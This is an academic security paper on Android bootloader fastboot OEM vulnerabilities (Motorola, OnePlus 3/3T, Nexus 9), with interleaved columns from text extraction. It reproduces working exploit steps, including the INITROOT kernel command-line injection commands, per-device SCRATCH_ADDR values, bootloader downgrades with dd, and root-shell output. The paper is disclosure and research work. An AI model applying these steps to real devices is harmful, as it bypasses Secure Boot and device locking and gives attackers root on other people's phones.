fastboot oem vuln:

Android Bootloader Vulnerabilities in Vendor Customizations

Roee Hay
Aleph Research, HCL Technologies

Abstract dition to the main SoC, devices also have ad-hoc ICs
(e.g. device sensors), each of which may contain its own
We discuss the fastboot interface of the Android boot- firmware, oftentimes updatable over-the-air.
loader, an area of fragmentation in Android devices. We Much room for fragmentation (and bugs), we decided
then present a variety of vulnerabilities we have found to focus our research on one area, the fastboot inter-
across multiple Android devices. Most notable ones in- face.
clude Secure Boot & Device Locking bypasses in the
Motorola and OnePlus 3/3T bootloaders. Another crit-
ical flaw in OnePlus 3/3T enables easy attacks by ma- 2 Secure Boot & ABOOT
licious chargers – the only prerequisite is a powered-
off device to be connected. An unexpected attack vec- Android devices implement Secure Boot through a
tor in Nexus 9 is also shown – malicious headphones. chain-of-trust, with a root certificate stored in hardware.
Other discovered weaknesses allow for data exfiltration The first bootloader (PBL) verifies the authenticity of the
(including a memory dumping of a Nexus 5X device), next one. The next bootloader verifies the one after and
enablement of hidden functionality such as access to the so forth, until executions reaches ABOOT. Code flows
device’s modem diagnostics and AT interfaces , and at- to ABOOT which verifies the authenticity of the boot
tacks against internal System-on-Chips (SoCs) found on or recovery partitions (possibly with another key-pair),
the Nexus 9 board. prepares the Linux kernel, Device Tree Blob (DTB) and
initramfs archive in memory, and transfers execution
to the Linux kernel. initramfs is a (gzipped) cpio
1 Introduction archive that gets populated into rootfs (a RAM file-
system mounted at the root path [2]) during the Linux
The code running in Android devices comes from multi- initialization. It contains init, the first user space
ple sources. Top-down, we have the user space which process. Among its duties, init triggers the partition
consists of the Android Open Source Project (AOSP), mounts. dm-verity then verifies the integrity of spec-
oftentimes customized by the OEM. Then, we have the ified partitions under fstab (e.g. the system parti-
Linux Kernel, which may also contain OEM customiza- tion). Since dm-verity uses a public-key stored un-
tions and drivers for controlling and interacting with var- der rootfs (/verity key), an untrusted initramfs
ious peripheral SoCs found on the device’s board. The means untrusted partitions that dm-verity verifies. See
next level is a chain of bootloaders which either originate Figure 1 which depicts the chain-of-trust in Qualcomm
from the OEM or the chipset manufacturer: At its low- MSM SoCs [3].
est level, we have in Boot ROM the Primary Bootloader Apart from the normal boot flow, ABOOT has another
(PBL), which is written by the chipset manufacturer, and mode of operation – the fastboot mode, that gives de-
then usually a series of bootloaders that end with the late- vice owners a way to interface with the bootloader, im-
stage Android (Applications) Bootloader (ABOOT). The plementing features such as bootloader unlocking, lock-
latter implements the fastboot interface (with a notable ing, flashing and other OEM extensions (which this re-
absence in Samsung-branded devices), and is fully cus- search focuses on). Due to the fact ABOOT takes such a
tomizable by the OEM. Not forgetting TrustZone, which critical part in the device’s boot, and runs before the OS
provides security mechanisms (such as secure storage, (so TrustZone, for example, may have a different state),
DRM, supporting Secure Boot and more [1]). In ad- discovered vulnerabilities may have a critical severity
PBL flow. Second, adversaries with ADB access can reboot
the device into the fastboot mode by issuing the adb
SBL
reboot bootloader command. ADB access requires
ABOOT that the victim has enabled USB debugging on his Devel-
opment Tools UI, and that an authorized the USB host is
boot.img connected. This can happen, for example, when develop-
ers use their own device for testing. PC malware await-
Linux Kernel
ing on their machine can then gain an ADB session and
initramfs reboot into fastboot [9]. Another threat is malicious USB
ports [10, 11] (e.g. malicious chargers at airports), target-
system.img ing devices with an enabled-ADB. (Once connected, the
victim has to authorize the charger.).
vendor.img
In addition to the bootloader flaws we have found
and describe in this paper, we also discovered a
Figure 1: Qualcomm MSM Chain-of-Trust (simplified) couple of critical “foot in the door” vulnerabilities
(now patched) in Nexus 9 and OnePlus 3/3T, that re-
lax the aforementioned requirements, allowing fast-
too. From unauthorized access to SoCs on the device
boot access by unauthorized malicious chargers (One-
to bypassing Secure Boot and bootloader locking. In this
Plus 3/3T, CVE-2017-5622) and headphones (Nexus 9,
paper we will see a few good examples.
CVE-2017-0510/0648).

Charger Boot Mode ADB Access in OnePlus 3/3T

When one connects a powered-off OnePlus 3/3T device
3 Bootloader Locking to a charger, the bootloader will load the platform with
the charger boot mode. The platform OS must not en-
Android devices have two states, locked, where OS in- able any sensitive USB interfaces because otherwise it
tegrity is guaranteed through Secure / Verified Boot, and could easily be attacked by malicious USB ports. Much
unlocked, where there is no security assurance. The abil- to our surprise, when we first connected our powered-off
ity to transition between the states, backed by TrustZone, OnePlus 3/3T devices, running a vulnerable OxygenOS
is up to the discretion of the OEM. Some devices always version, we noticed that we had ADB access.
allow unlocking, some require an authorization code pro- Analysis showed that in the vulnerable versions of
vided by the vendor, and some don’t. In any case, since OxygenOS some init script instruction started adbd
the integrity guarantees are void when the device tran- when the platform ran in the charger boot mode
sitions from the locked to unlocked states, according (Figure 2). The on charger event is triggered if
to Google [4], bootloaders must adhere to the follow- ro.bootmode equals charger, as can be seen from
ing guidelines: (1) Transitioning from the locked to un- AOSP’s init.cpp. Despite that, although ADB is run-
locked states (and vice versa) requires the user’s consent ning, in order to protect against malicious USB ports
(2) It yields a factory reset (i.e. losing user data). targeting devices with enabled adbd , Android has had
One notable vulnerability [5, 6] in TrustZone had ADB authorization for quite some time (since Jelly-bean
been discovered by Gal Beniamini, which was later used [12]) – any attempt to gain an ADB session with an unau-
to defeat the Motorola Bootloader locking [7]. An- thorized host should be blocked. It turns out, however,
other prominent device-locking related vulnerability was that OxygenOS of OnePlus 3/3T contains a customized
found by Dan Rosenberg [8], again in Motorola Trust- adbd binary that disables authorization if the platform is
Zone implementation. started in the charger boot mode (see Figure 3). The
All vulnerabilities described in this paper assume the malicious charger can then use the open ADB session
device is in the locked state. in order to reboot into fastboot, simply by issuing the
reboot bootloader command.
4 Attacking fastboot
Unauthorized Access to FIQ Debugger via Head-
The fastboot interface can be triggered in various phones in Nexus 9 In Nexus 9, malicious headphones
ways. First, a physical adversary can take leverage of can take leverage of the dual functionality of the head-
the fact that in most Android devices, a key combina- phones jack, which, when a certain voltage threshold on
tion upon boot will cause the bootloader to load the fast- the MIC pin is reached, turns that channel into a UART
boot mode instead of commencing with the normal boot debug interface [13]. Although this normally results in
on charger <hit enter to activate fiq debugger> debug>
[...] debug> help
mkdir /dev/usb-ffs/adb 0770 shell shell FIQ Debugger commands:
mount functionfs adb /dev/usb-ffs/adb uid=2000, pc PC status
gid=2000 regs Register dump
write /sys/class/android_usb/android0/f_ffs/ allregs Extended Register dump
aliases adb bt Stack trace
setprop persist.sys.usb.config adb reboot [<c>] Reboot with command <c>
setprop sys.usb.configfs 0 reset [<c>] Hard reset with command <c>
setprop sys.usb.config adb irqs Interupt status
[...] kmsg Kernel log
version Kernel version
sleep Allow sleep while in FIQ
Figure 2: init.qcom.usb.rc: on charger init nosleep Disable sleep while in FIQ
console Switch terminal to console
event handler of OnePlus 3/3T cpu Current CPU
cpu <number> Switch to CPU<number>
ps Process list
sysrq sysrq options
__int64 sub_400994() sysrq <param> Execute sysrq with <param>
{
[...]
getprop("ro.boot.mode", &v94, &byte_4D735C); Figure 4: Nexus 9 FIQ Debugger
if ( !(unsigned int)strcmp(&v94, ’charger’) )
auth_required_50E088 = 0;
[...] debug> reboot oem-42
} debug>
[...]
###[ Bootloader Mode ]###
Figure 3: adb authorization bypass in OnePlus 3/3T hboot> ?
#. <command> : <brief description>
security_command:
1. boot : no desc.
[...]
23. i2cr : no desc.
Nexus and Pixel devices in bootloader and kernel debug 24. i2cw : no desc.
messages (sometimes only when specifically enabled), in 25. i2crNoAddr : no desc.
Nexus 9, the platform OS kernel also attaches the FIQ 26. i2cwNoAddr : no desc.
27. i2cdetect : no desc.
debugger to that channel (Figure 4). Rebooting from the [...]
FIQ prompt to the fastboot mode can be done by is- hboot>
suing the reboot bootloader command. The prob-
lem, however, is that the fastboot interface is not ex-
posed over UART (i.e. the attacker cannot issue com- Figure 5: Nexus 9 Bootloader Access via Headphones
mands). What we discovered [14] is that we can issue
reboot commands with OEM codes on the FIQ debug- 5 ABOOTOOL : Discovery of OEM Com-
ger prompt. Aligned with another report on HTC G2
mands
[15] and with “The Hitchhiker’s Guide to the Galaxy”
[16], the attacker can issue the reboot oem-42 com- The first order of business is to discover the available
mand on the FIQ debugger, which will reboot the de- OEM commands for a given ABOOT. In order to do
vice into the HBOOT bootloader mode (an HTC-specific so, we created an open-source tool, ABOOTOOL1 , which
bootloader mode that shares its OEM commands with dynamically finds, based on static knowledge, available
fastboot), however this time with UART access to OEM OEM commands of a given connected device.
commands (Figure 5). We wrote a small parser whose input is an OTA
archive, a Factory image, or ABOOT itself, that out-
Google’s patch for CVE-2017-0510 was reducing the
puts the collection of ABOOT strings (or a superset of
capabilities of the FIQ debugger. That patch has turned
them), We then fed ABOOTOOL with the collected strings
out, however, to be insufficient – there was a short
extracted from hundreds of ABOOTs of multiple ven-
window of time during the Linux kernel’s initialization
dors. By using Google’s python-adb, that also provides
where full capabilities were still allowed, documented as
a python SDK for accessing fastboot, ABOOTOOL au-
CVE-2017-0648. The Nexus 9 build released as part of
tomatically detects the connected device model and/or
the June 2017 Security Bulllet-in has patched that addi-
tional issue. 1 https://github.com/alephsecurity/abootool
 FOOT IN THE DOOR

Nexus 9 CVE-2017-0510 N4F26T Critical

CVE-2017-0648 N9F27C High
OnePlus 3/3T CVE-2017-5622 4.0.3 Critical

FASTBOOT OEM

Motorola Bootloader (Nexus 6, Moto devices)

72.03
CVE-2016-10277 config fsg-id/... Critical
(N6)
71.22
CVE-2016-8467 config / High
(N6)
bp-tools..
Huawei Bootloader (Nexus 6P)
CVE-2016-8467 03.64 enable-bp-tools... High
A-34622855 - unlock-go Moderate
Figure 6: ABOOTOOL: Available OEM commands on LG Bootloader (Nexus 5X)
different devices with latest available bootloader ALEPH-2016000 bhz10m panic Critical
HTC Bootloader (Nexus 9)
CVE-2017-0563 3.50- i2cr/w/... Critical
vendor (when possible), and queries it with the relevant
CVE-2017-0582 .0.0143 sensorhubflash Moderate
strings, reporting positive replies. Users can also add
HTC Bootloader (Pixel / Pixel XL)
new bootloaders in order to reduce the probability of
CVE-2016-8462 1611091517 sha1sum High
false negatives.
OnePlus Bootloader (OnePlus 3/3T)
Figure 6 shows the number of detected OEM com-
CVE-2017-5626 4F500301 Critical
mands on select Android devices, running their latest 4.0.2
CVE-2017-5554 selinux High
available build with a locked bootloader. We normal-
permissive
ized the results as follows: We merged command couples
CVE-2017-5623 4.1.0 boot mode High
(e.g. {enable,disable}-charger-screen), and also
ignored the prevalent unlock & lock. CVE-2017-5625 dump <partition> Moderate
4.0.3
CVE-2017-5624 dm verity disable Moderate

6 Vulnerabilities Figure 7: Discovered Vulnerabilities

In the next sections we describe the found flaws, catego-

rized into vulnerabilities that affect OS Integrity (Section
7), vulnerabilities that allow for Data Exfiltration (Sec-
tion 8), vulnerabilities that allow the adversary to enable
Hidden Functionality of the OS (Section 9), and vulner-
7 Breaking OS Integrity
abilities that allow for attacks against SoCs or ICs on the
The holy grail of bootloader attackers is bypassing De-
device’s board (Section 10).
vice Locking and Secure Boot. We will see that due to
Figure 7 summarizes our findings. All of the flaws
several vulnerabilities we have found, such attacks could
have been responsibly disclosed to the affected vendors
indeed occur against the Motorola and OnePlus boot-
or Android Security. For each one we list the affected
loaders. We end this section with additional flaws that
product, an identifier, its severity, the first patched build
we stumbled upon during this research.
or bootloader version and a verified affected product
(there could be others). We also note the fastboot
OEM command that can trigger the security issue. It 7.1 INITROOT : Motorola Bootloader Ker-
should be mentioned that CVE-2016-8462 is a duplicate nel Command-line Injection Device
finding, discovered independently by Jon Sawyer and Locking and Secure Boot Bypass
Sean Beaupre [17], who had reported it to Google be-
fore we did. It’s also worth noting that CVE-2017-5626 In this section we present a critical vulnerability we
& ALEPH-2016000 were discovered in older versions, found in the Motorola Bootloader, allowing us to gain
and had been fixed silently by the vendors. (The patch a persistent unrestricted root shell (permissive-mode
of ALEPH-2016000 could have been an accidental side SELinux) on locked Motorola devices, effectively by-
effect of another patch.) passing their Secure Boot & Device Locking and without
$ fastboot oem config console foo $ fastboot oem config console "a foo=A "
$ fastboot oem config fsg-id bar $ fastboot oem config fsg-id "a bar=B"
$ fastboot oem config carrier baz $ fastboot oem config carrier "a baz=C"
[...]
[...] shamu:/ $ dmesg | grep command
shamu:/ $ dmesg | grep command [ 0.000000] Kernel command line: console=a foo=A ,115200,
[ 0.000000] Kernel command line: console=foo n8 earlyprintk androidboot.console=a foo=A androidboot
,115200,n8 earlyprintk androidboot.console=foo .hardware=shamu msm_rtb.filter=0x37 [...] androidboot.
androidboot.hardware=shamu msm_rtb.filter=0x37 fsg-id=a bar=B androidboot.secure_hardware=1 [...]
androidboot.carrier=a baz=C androidboot.hard<
[...] androidboot.fsg-id=bar androidboot.
secure_hardware=1 [...] androidboot.carrier=baz
androidboot.hard<
Figure 9: CVE-2016-10277: Kernel Command-line In-
jection
Figure 8: Taint Propagation to the Kernel Command-line

tacker achieve by controlling the kernel command-line?

triggering a factory-reset (data is still encrypted though).
It turns out that the kernel command-line is consumed
We verified our Proof-of-Concept exploit2 on Nexus 6
by several entities across the OS, including: (1) kernel
(shamu), Moto G4 (athene) & Moto G5 (cedric). Ad-
code, through the setup & early param macros.
ditional devices, including Moto {G5 Plus, G4 Play, G3,
(2) kernel modules, through the module param* and
G2, E} have been reported to be vulnerable by the com-
core param macros. (3) user space processes (e.g.
munity. We describe our exploit as follows: First, we
init).
depict how the vulnerability can be exploited for gaining
a temporary (tethered) unrestricted root shell in Nexus 6. There are dozens if not hundreds of usages of these
We then port it to other Moto devices, and follow with macros – any feature or bug introduced by controlling
a second-stage payload that gives an untethered (persis- them could be exploited. We will now see that being able
tent) root. We end with alternative second-stage exploits to inject a single argument allowed us the defeat Secure
such ones that allow for kernel code execution and un- Boot and Device Locking.
locking a re-locked device on shamu, downgrades of crit-
ical partitions such as the bootloader chain and Trust-
Zone, kernel command-line injection from the platform 7.1.3 Loading of the Linux Kernel by ABOOT
OS, tampering the system partition (old Moto G de-
vices, verified on athene), and potential firmware injec- ABOOT verifies the authenticity of the boot or
tion attacks. recovery partitions, loads the Linux kernel and
initramfs from one of them (depending on the
7.1.1 Vulnerability boot mode) at fixed physical addresses (0x8000 &
0x2000000 on shamu). It also prepares for the Linux
The Motorola Android Bootloader contains several argu- kernel the command-line and the initramfs start
ments (named “UTAGs”) that can be controlled through and end addresses, in the Device Tree Blob (DTB)
the fastboot interface, even if the bootloader is locked: located at predefined physical address (0x1e00000
bootmode, console, fsg-id & carrier. The last on shamu). The bootloader then transfers execu-
three may contain arbitrary values (although with a re- tion to the Linux kernel. The Linux kernel func-
stricted size), which eventually propagate to the Linux tion that parses the parameters given by ABOOT
kernel command-line. One can prove that by issu- in the DTB is early init dt scan chosen.
ing the fastboot oem config {console, fsg-id, In ARM/64 kernels, code eventually flows to
carrier} {foo,bar,baz} commands - see Figure 8. early init dt setup initrd arch (Figure 10).
As it can be seen by Figure 9, vulnerable versions of Physical memory addressed by phys initrd start
the bootloader do not sanitize those arguments, allowing is then mapped into the virtual address space by
for arbitrary args to be injected into the command-line. arm memblock init which saves the virtual address
It should be noted that carrier and console are only start and end addresses under the initrd start &
controllable or effective in shamu. initrd end global variables. These are then used
by the populate initramfs function, which popu-
7.1.2 A Whole New Attack Surface lates the initramfs into the rootfs. Eventually the
kernel init function is called, which executes the
In terms of exploitation, a preliminary step of the adver-
first user-space process, whose path is saved under the
sary is to understand the attack surface – what can the at-
ramdisk execute command global (with a default
2 https://github.com/alephsecurity/initroot value of /init).
void __init early_init_dt_setup_initrd_arch static int __init early_initrd(char *p) {
(unsigned long start, unsigned long start, size;
unsigned long end) char *endp;
{ start = memparse(p, &endp);
phys_initrd_start = start; if (*endp == ’,’) {
phys_initrd_size = end - start; size = memparse(endp + 1, NULL);
}
phys_initrd_start = start;
phys_initrd_size = size;
}
Figure 10: early init dt setup initrd arc return 0;
}
early_param("initrd", early_initrd);

7.1.4 Controlling the initramfs Physical Loading Figure 11: arch/arm/mm/init.c

Address
$ fastboot flash aleph payload.bin [...]
target reported max download size of 536870912 bytes
sending ’aleph’ (524288 KB)...
At the beginning we discovered that there is a ker- OKAY [ 62.610s]
writing ’aleph’...
nel command-line argument, rdinit, that overrides the (bootloader) Not allowed in LOCKED state!
default value of ramdisk execute command. That FAILED (remote failure) finished.
total time: 62.630s
looked promising – by exploiting our vulnerability we
could cause the kernel to execute an arbitrary user space
process – by issuing fastboot oem config carrier Figure 12: Loading Arbitrary Data through fastboot
"a rdinit=/sbin/foo”. The main challenge we en-
countered, however, that made this technique ineffec-
tive was the fact that the initramfs of Moto devices 7.1.5 Loading Arbitrary Data to Memory through
contained a very limited set of binaries. For instance, USB
shamu has: {adbd, healthd, slideshow, ueventd,
ABOOT’s fastboot provides a download mechanism
watchdogd}. Even if one of them had some potential
via USB, which supports features such as partition flash-
(e.g. adbd), user space at that point of execution would
ing. This mechanism is available even on locked boot-
be uninitialized, hence they might fail due to dependen-
loaders, therefore the attacker can abuse it in order to
cies which they relied on that were not satisfied. Given
load a tampered initramfs on the device. Our only
the rather big attack surface described above, we decided
hope is that the bootloader nor the kernel zero-out /
to move along to another command-line argument we
override that data before initramfs is populated into
could control.
rootfs. In order to verify that, we made the follow-
Fortunately, we’ve realized that in ARM/64, it is also ing experiment. First, we installed our own msm-shamu
possible to control, through a kernel command-line ar- kernel with Loadable-Kernel Modules (LKM) support.
gument named initrd, the physical address where the We then uploaded to our shamu device a test blob
initramfs is loaded from by the kernel (Figure 11). 0123456789ABCDEFALEFALEFALEF... via fastboot
This argument overrides the default values provided by (Figure 12). Please note that the failure message is due
ABOOT through the DTB. to the flashing attempt, however, the data is downloaded
by device anyway.
We then tested it with a random value, expecting the We then booted the platform with fastboot
kernel to crash: fastboot oem config fsg-id “a continue, and dumped the whole physical memory with
initrd=0x33333333,1024”. It indeed crashed! This LiME [18], searching for our blob. As it can be seen by
kind of attack is analogous to controlling the Instruction Figure 13, the test blob was there. This has given us
Pointer (IP register) or Program Counter (PC register) a stronger guarantee because our payload survived even
in memory corruption bugs, so the first step in this case when the platform was up and running. We’ve repeated
would be loading our own tampered initramfs archive this process several times, there was nothing random –
to the device’s memory, preferably through fastboot. the payload is always loaded at 0x11000000 and is avail-
Note that the Linux Kernel does not re-verify the au- able for the Linux Kernel! For the sake of curiosity we’ve
thenticity of initramfs since it relies on the bootloader also statically verified this result. It turns out that Little
to do that. Therefore, if we manage to put a tam- Kernel (LK), which the Motorola Android Bootloader is
pered initramfs at the controlled phys initrd start based on, has a memory area pointed by SCRATCH ADDR
physical address, the kernel will indeed populate it into where the downloaded data is saved under. Loading the
rootfs. ABOOT binary with IDA confirmed our empirical result.
10FFFFE0 0000000000000000 0000000000000000 ................ $ fastboot oem config fsg-id "a initrd=0x11000000,1518172"
10FFFFF0 0000000000000000 0000000000000000 ................ $ fastboot flash aleph malicious.cpio.gz
11000000 3031323334353637 3839414243444546 0123456789ABCDEF [...]
11000010 414C4546414C4546 414C4546414C4546 ALEFALEFALEFALEF target reported max download size of 536870912 bytes
11000020 414C4546414C4546 414C4546414C4546 ALEFALEFALEFALEF sending ’aleph’ (1482 KB)...
11000030 414C4546414C4546 414C4546414C4546 ALEFALEFALEFALEF OKAY [ 0.050s]
11000040 414C4546414C4546 414C4546414C4546 ALEFALEFALEFALEF writing ’aleph’...
11000050 414C4546414C4546 414C4546414C4546 ALEFALEFALEFALEF (bootloader) Not allowed in LOCKED state!
FAILED (remote failure)
finished. total time: 0.054s

Figure 13: Test Blob Found in Physical Memory after $ fastboot continue
Boot $ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),[...] context=u:r:su:
... s0
shamu:/ # setenforce permissive
ABOOT shamu:/ # getenforce
Permissive
shamu:/ #
boot.img

Linux Kernel Figure 15: Successful Exploitation of INITROOT on

initramfs shamu

system.img
Finding SCRATCH ADDR can easily be done by loading
the bootloader into IDA or any other disassembler (new
Figure 14: Broken Chain-of-Trust
Moto ABOOTs even contain symbols!) and analyzing
the target get scratch address function. See Ta-
7.1.6 Creating a Malicious initramfs ble 1 for SCRATCH ADDR values of various Motorola de-
vices.
The final step is to create our own malicious initramfs. In order to verify the SCRATCH ADDR of our Moto de-
For shamu, one can just compile an userdebug AOSP vices (G4 & G5), we had ripped benign initramfs
boot image and rip the initramfs.cpio.gz file out of archives from Motorola factory images, and tried to load
it, since it contains the su domain and a root-capable them by exploiting the vulnerability, using the discov-
adbd. The only caveat is dm-verity which will not be ered SCRATCH ADDRs. Instead of loading normally as we
able to verify the official system partition (because the expected, the devices ran into infinite boot loops. We
AOSP boot image will contain the debug verity key). then took an (unverified) wild guess. We’ve realized
Anyway, since we are now able to load a malicious that after we upload initramfs into SCRATCH ADDR,
initramfs, this annoyance can be bypassed easily by and before ABOOT jumps to the Linux kernel, the
editing the fstab file (removing the verification), or re- Motorola bootloader, in contrast with the shamu vari-
placing the debug verity key with the official one from ant, could theoretically put some other unrelated data
the relevant build. at SCRATCH ADDR, corrupting our initramfs (but not
fully).
7.1.7 Putting it All Together: got root! Overcoming this obstacle can be done by plac-
ing some padding data before initramfs, and
We now have everything we need: We have a malicious adjusting the initrd argument accordingly (to
initramfs archive. We can load it into memory at a SCRATCH ADDR+sizeof(PADDING)). This way, the
fixed physical address using the bootloader fastboot padding will be corrupted instead of our malicious
interface. We can instruct the Linux kernel to populate initramfs. True the hypothesis or not, using this
it from that address. In terms of Secure Boot, we now a technique with a 32MB padding (0x20000000), has
broken chain-of-trust (Figure 14). See Figure 15 which resolved our boot loops.
demonstrates a successful attack on shamu. The next step was to create a device-specific
initramfs archive. In the shamu case, in order to cre-
7.1.8 Porting initroot to our Moto devices ate an initramfs that gave us an unrestricted root shell
through adb, we had just built an AOSP userdebug im-
The exploit depicted above has a couple of shamu age. Since we don’t possess a build configuration for
specifics: (1) SCRATCH ADDR: The physical address Moto G4 & Moto G5, we decided to take the quickest
which ABOOT stores the fastboot downloaded data at path, and patch the initramfs archives found in the
may vary. (2) The initramfs archive. stock ROMs. By patching init, we’ve put SELinux into
 Device codename SCRATCH ADDR Device name real name size
Nexus 6 shamu 0x11000000 shamu padA mmcblk0p11 4.1M
Moto G5 Plus potter 0xA0100000 athene padC mmcblk0p41 22M
Moto G5 cedric 0xA0100000 cedric padB mmcblk0p48 2.9M
Moto G4 Play harpia 0x90000000
Moto G4 athene 0x90000000 Table 2: Unused partitions in Moto devices
Moto G3 osprey 0x90000000
Moto G2 thea 0x11000000 the suggested payload for fsg-id will not work due to
Moto E condor 0x0E000000 size constraints and more (see next), and also implies a
physical attack only.
Table 1: SCRATCH ADDR of various Motorola devices

$ fastboot oem config fsg-id "a initrd=0xA2100000,1588598" Taking over an unused partition on the device. The
$ fastboot flash aleph initroot-cedric.cpio.gz first step is to create an empty ext4 partition (e.g. by
$ fastboot continue
$ adb shell using mkfs.ext4) with the same size of the target un-
cedric:/ # id used partition. Then, the attacker needs to populate it
uid=0(root) gid=0(root) groups=0(root), [...] context=u:r:
kernel:s0 context=u:r:kernel:s0 with the malicious initramfs of the first-stage exploit
cedric:/ # getenforce – this can be done by either on the host or on the de-
Permissive
cedric:/ # vice. On the device, after running the in-memory exploit,
the attacker can replace the unused partition with the just
created empty ext4 file (using dd), mount it, and popu-
Figure 16: Successful Exploitation of INITROOT on late it with cpio. Successful exploitation requires some
Moto G5 additional trickery (explained in the next section) such
as putting init under /sbin and restoring the SELinux
permissive mode. We’ve also patched adbd such that it contexts (with restorecon). The target partition will
remains as root, does not drop its capabilities (by replac- now have the malicious initramfs populated, ready for
ing the relevant calls with nops), and does not ask for the Linux kernel. It should be noted that this whole pro-
authorization (we’ve set the auth required global to cess can occur offline, and that attackers can reuse the
0). We’ve also disabled dm-verity on the relevant par- created partition on other devices (of the same model),
titions, and removed the locked-device USB policy under trivially by populating it with dd.
init.mmi.usb.sh. Figure 16 shows the result for Moto
G5 (cedric). Abusing the Linux initialization process to use our
tampered partition The next step is to instruct the
7.1.9 Second-stage Untethered Exploit Linux kernel to use our root partition instead of the
data provided in-memory by the bootloader. Leaving
The above depicted mechanics of INITROOT imply a
many details behind, Linux prepares userspace as fol-
tethered exploit (i.e. it does not survive reboots). In
lows (taking into account the Moto kernels’ config):
this section we show, however, that the attacker can run a
(1) It unpacks an internal initramfs to rootfs. (2)
second-stage exploit, which does something more pow-
It tries to populate a bootloader-supplied initramfs
erful. Making an untethered exploit implies that we must
from a physical address (initrd {start,end}), spec-
somehow persist our payload, or alter some stored data.
ified in the DTB. As we have seen, in ARM/64 that
In general, although we have block-device write access
can also be specified in the kernel command-line by
with the unrestricted root shell, due to Verified Boot
the initrd argument. (3) If it fails, it reverts to an
we cannot make the OS load with a tampered boot or
older initrd mechanism, copying from initrd start
system partitions. Despite that, we can populate our
into /initrd.image under rootfs. (4) It tries to ac-
initramfs in some unused partition. See Table 2 for
cess ramdisk execute command with a default value of
a list of unused partitions in different Motorola devices.
/init (which can be overridden by specifying rdinit
Furthermore, as was also suggested by Ethan Nelson-
in the kernel command line) on rootfs. If it succeeds,
Moorea after we had disclosed the first-stage exploit3 ,
it will complete initialization by executing it. This is
attackers can use the SD card partition (mmcblk1p1), if
the normal flow during regular boots. (5) It will try
the device has one (shamu doesn’t, for example). Obvi-
to load /initrd.image from rootfs into RAM un-
ously, using the SD card does not require the first-stage
less the noinitrd argument is specified. If it suc-
exploit, as one can prepare it offline. Despite that, using
ceeds, initialization is done. (6) If a root argument
3 http://disq.us/p/1jdtfym is specified, it will mount it, and eventually execute
exeute command, specified by the init argument. (7) $ fastboot getvar all | grep git
If no execute command is specified, it will revert to (bootloader) sbl1.git: git=MBM-NG-VB1.05-0-ge433b40
(bootloader) rpm.git: git=a970ead
/sbin/init, /etc/init, /bin/init & /bin/sh until (bootloader) tz.git: git=119e5b2-dirty
it succeeds, and panic otherwise. (bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
Therefore, in order to use our tampered partition as (bootloader) cmnlib.git: git=119e5b2-dirty
the root partition, we need to supply a couple of argu- (bootloader) aboot.git: git=MBM-NG-VB1.05-0-ge433b40

ments. First, a bogus initrd, or rdinit= parameters $ fastboot oem config fsg-id "a initrd=0x92000000,2505052"
in order to make the kernel fail while trying to use the $ fastboot flash aleph initroot.cpio.gz
$ fastboot continue
bootloader-supplied initramfs (2, 3 & 4). Second, we
need to instruct it to use our tampered partition, by speci- $ adb push old_* /data/local/tmp
$ adb shell
fying root=/dev/<partition> . There is a couple of athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/
more optional parameters: rw, which is required for the aboot
athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/tz
original init binary, if we do not restorecon a priori, athene:/ # dd if=[...] of=/dev/block/bootdevice/by-name/sbl1
in addition to init=/init, which is only required if athene:/ # reboot bootloader

we do not create the /sbin/init symbolic link in the $ fastboot getvar all | grep git
root partition. Hence, the minimum number of bytes (bootloader) sbl1.git: git=MBM-NG-VB0.0E-0-g83950b7
(bootloader) rpm.git: git=a970ead
which are needed to be injected into the cmdline is 29-30 (bootloader) tz.git: git=9fa1804
(depending on the partition). Luckily (although we can (bootloader) hyp.git: git=119e5b2-dirty
(bootloader) keymaster.git: git=119e5b2-dirty
also overcome this limitation, see Paragraph 7.1.10), (bootloader) cmnlib.git: git=119e5b2-dirty
Motorola ABOOT limits the string length of the fsg-id (bootloader) aboot.git: git=MBM-NG-VB0.0E-0-g4986429

parameter to 32 bytes before injecting it into the kernel

command-line. To conclude, the adversary needs to run
the following fastboot command in order to use his
now-populated root partition:
Figure 17: Downgrading ABOOT, SBL1 and TrustZone
oem fsg-id “a rdinit= root=/dev/mmcblkN” in Moto G4

7.1.10 Further Exploitation placement succeeds, due to Secure Boot, the boot flow
Attackers can go beyond the aforementioned exploit and will end in the PBL’s Emergency Download Mode (EDL)
conduct additional powerful attacks. (verified on shamu) or fastboot, depending on which
partition has failed verification. Despite that, since older
images are perfectly signed, downgrade prevention must
Persistent Kernel Code Execution on Nexus 6 Dur-
be implemented. It seems however that Nexus 6 does
ing our disclosure process, Android Security also ob-
not increase the SW ID field [3] between bootloader ver-
served that on shamu, an unrestricted root (as we gain
sions (maybe due to lack of hardware support), thus the
with INITROOT), or one that runs under an SELinux do-
attacker can downgrade those signed partitions, allowing
main with block device access, can overwrite the boot-
for exploitation of now-patched vulnerabilities in critical
loader chain, boot, and system partitions. Due to in-
code. Moto devices are not immune too – verified on
complete Secure Boot implementation, at least on our
athene (that uses a different signing format), we were
re-locked Nexus 6 device, the boot partition is not veri-
able to downgrade SBL1, ABOOT and TrustZone (Fig-
fied, which implies a persistent kernel code execution –
ure 17 )
by using INITROOT, the attacker can completely replace
the boot partition with a tampered one (which makes the
second-stage exploit on Nexus 6 redundant), containing Unlocking a Re-locked Nexus 6 Device from Platform
a malicious kernel image and initramfs. Afterwards, OS Back in 2013, Dan Rosenberg found a vulnerabil-
the attacker can simply reboot into fastboot, and re- ity in the Motorola TrustZone kernel [8], allowing him
move the malicious UTAG. The attacker’s supplied ker- to unlock the Motorola bootloader. In his blog, Dan de-
nel code and initramfs will then be loaded on every picted how Motorola implements Device Locking (also
boot. relevant for shamu), which can be summarized as the
state machine on Figure 18. Its states are FL: Factory
Downgrades As mentioned above, by being able to Locked (the initial state), UL: Unlocked. RL: Re-locked.
write on block devices, one can overwrite the bootloader Its transitions are as follows: (1) The user first unlocks
chain (SBL1, ABOOT), TrustZone and other signed par- the device. The WARRANTYVOID fuse is blown. This tran-
titions (e.g. boot & recovery). Although such a re- sition is governed by TEE thus it cannot be done from the
$ fastboot getvar all if ( v5 == BOOTMODE_RECOVERY )
... ssm_en_write_protect = 0;
(bootloader) secure: yes if ( ssm_en_write_protect )
(bootloader) unlocked: no {
(bootloader) securestate: locked write_protect_partition((int)"system");
